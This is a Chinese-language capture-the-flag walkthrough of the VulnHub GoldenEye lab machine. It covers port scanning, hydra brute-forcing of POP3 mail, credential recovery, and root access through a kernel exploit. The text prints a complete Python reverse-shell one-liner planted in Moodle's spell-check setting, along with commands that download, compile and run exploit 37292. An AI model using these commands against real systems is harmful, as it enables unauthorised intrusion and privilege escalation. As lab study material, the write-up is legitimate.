1.参考
It's themed after the great James Bond film (and even better n64 game) GoldenEye.
靶机命名来自詹士邦系列的电影——GoldenEye
2.复现过程
下载链接:https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova
2.1信息收集
nmap探测端口信息
-n:从不进行DNS解析/始终解析[默认值:有时]
-p-:探测全端口
-v:输出更多详情 写的v越多,越详细。比如-vv -vvv
--reason:输出程序判断一个端口是这个状态的原因
-Pn:将所有主机视为联机-跳过主机发现
-A:启用OS检测,版本检测,脚本扫描和traceroute
开放端口如下:
25——smtp
80——http
55006——ssl加密协议(看了攻略,后续爆破邮箱密码会用到)
55007——pop3
继续收集信息,从80入手,页面提示,访问http://your-ip/sev-home
提示需要登陆,可是没有账号密码,返回页面查看源码
首页的源码里并没有注释,但是google f12发现有一个terminal.js
通过阅读提示信息,获取到用户名是:Boris(这里有一个小坑,basic认证的用户名全是小写的)
密码是html实体编码,可以直接写到html页面进行解码,解码后密码为:InvincibleHack3r
通过刚刚获取的账号密码进行basic认证
账号:boris
密码:InvincibleHack3r
查看源码最下边位置:
合格的Goldeneye网络运营商主管:
Natalya
Boris
源码提示,pop3服务在非常高的端口,也就是55006和55007
</video>
<div id=“黄金”>
<h1>黄金眼</h1>
<p>goldeneye是苏联或btal的绝密武器项目。由于您有权访问,因此您绝对拥有最高机密许可,并有资格成为经认证的Goldeneye网络运营商(GNO)</p>
<p>请通过电子邮件向合格的GNO主管发送电子邮件,接受在线的Goldeneye操作员培训</b>成为Goldeneye系统的管理员</p>
<p>请记住,由于暗显安全性非常有效,我们已将POP3服务配置为在非常高的非默认端口上运行
</div>
2.2漏洞利用
使用上述收集到的信息,初步判断,Natalya和Boris应该是邮箱账号,使用hydra进行账号密码爆破:
(1)hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt -s 55006 -e nsr -t 64 pop3s://192.168.142.128
(2)hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt -s 55007 -e nsr -t 64 -f 192.168.142.128 pop3
使用如上两种方法,我获得了不同的结果,如图可示,更好的是使用了pop3s爆破55006端口,因为本次实验中的pop3似乎不支持-L参数传递用户名字典。
接下来使用nc或者foxmail等连接邮箱的软件,本人抱着参加OSCP考试的目的,所以使用kali中带的nc进行演示
一.登陆并且获取Boris的邮件
二.查看每封邮件内容
一.登陆并且获取Natalya的邮件
二.查看每封邮件内容
其中其中在 “Natalya” 邮件里发现了突破口
获取账号密码
账号:xenia
密码:RCP90rulez!
提示需要修改hosts:
echo -e "192.168.142.128\tsevernaya-station.com" >> /etc/hosts
直接访问:http://severnaya-station.com/gnocertdir/
账号:xenia
密码:RCP90rulez!
登陆后发现有一封邮件,暴露了doak的email name
爆破出账号密码:
账号:doak
密码:goat
获取邮箱密码
发现一个txt文件
提示线索在图片里
下载图片之后有两种方法获取描述信息:
(1)strings for-007.jpg
(2)exiftool for-007.jpg(此方法需要自己apt-get install exiftool)
base64解密:
echo "eFdpbnRlcjE5OTV4IQ==" | base64 -d
根据主页提示以及base64解码,获取账号密码
账号:admin
密码:xWinter1995x!
修改Spell engine
修改aspell为python反弹shell,IP是kali机器的IP:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.142.129",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali本地监听443端口
调用系统的拼写检查功能
getshell
使用python获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
whoami查看权限
uname -a 查看内核
https://www.exploit-db.com/搜索内核版本,第二个为c的提权exp
kali中下载exp:
wget https://www.exploit-db.com/download/37292
靶机没有gcc,修改源码中的gcc为cc
kali利用python搭建http服务:python -m SimpleHTTPServer 80
靶机下载:cd /tmp
wget http://192.168.142.129/37292.c
cc 37292.c -o cc
ls
chmod 777 cc
./cc
whoami
执行如上命令,发现已经是root权限,python获取交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
查找flag:find / -name *flag*
cat /root/.flag.txt
最后的flag
网友评论